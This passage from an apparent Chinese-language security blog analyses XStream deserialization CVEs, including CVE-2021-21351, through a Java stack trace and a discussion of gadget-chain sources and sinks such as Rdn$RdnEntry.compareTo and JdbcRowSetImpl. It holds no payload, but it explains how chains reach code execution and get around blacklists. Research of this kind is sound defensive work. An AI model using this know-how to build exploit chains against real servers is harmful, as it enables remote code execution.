getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
str:207, XRTreeFrag (com.sun.org.apache.xpath.internal.objects)
toString:314, XObject (com.sun.org.apache.xpath.internal.objects)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:121, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:92, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1354, XStream (com.thoughtworks.xstream)

這個cve和一開始的cve-2013-7285一樣都是用的stored-set,其實我們看呼叫棧就能看出來,這是為了從TreeSetConverter開始然後觸發

stored-set標籤物件的compareTo方法,只是cve-2013-7285對compareTo的呼叫下一步觸發了動態代理機制,而CVE-2021-21351走的

是正常流程,它找到的是javax.naming.ldap.Rdn$RdnEntry這個類,以Rdn$RdnEntry類的compareTo為source,到JdbcRowSetImpl的

connect為sink。

其實在標題這個範圍內的CVE中絕大部分鏈用的都是javax.naming.ldap.Rdn$RdnEntry以及java.util.PriorityQueue作為source,而縱觀整個Xstream中的cve,流程如何走到source的方式其實也就幾種

TreeMapConverter->TreeMap#putAll->TreeMap#put->source#compareTo->...->sink

MapConverter->HashMap#put->HashMap#hash->source#hashCode->...->sink

SerializableConverter->source#readObject->...->sink

而sink其實無非就是我們常見的其他各種反序列化中的sink,比如Runtime、JdbcRowSetImpl、TemplatesImpl、ProcessBuilder等等

而不同的CVE要麼是繞過source到sink上的某一個被加入黑名單的環節,要麼是重新尋找新的source->sink鏈,這個過程尤其是後者很難
Xstream漏洞原理是這麼個原理,核心卻是自動利用鏈挖掘,嘗試了一下gadgetinspector, 不是很好用,以後考慮修改一下gadgetinspector或者自己寫點挖利用鏈的工具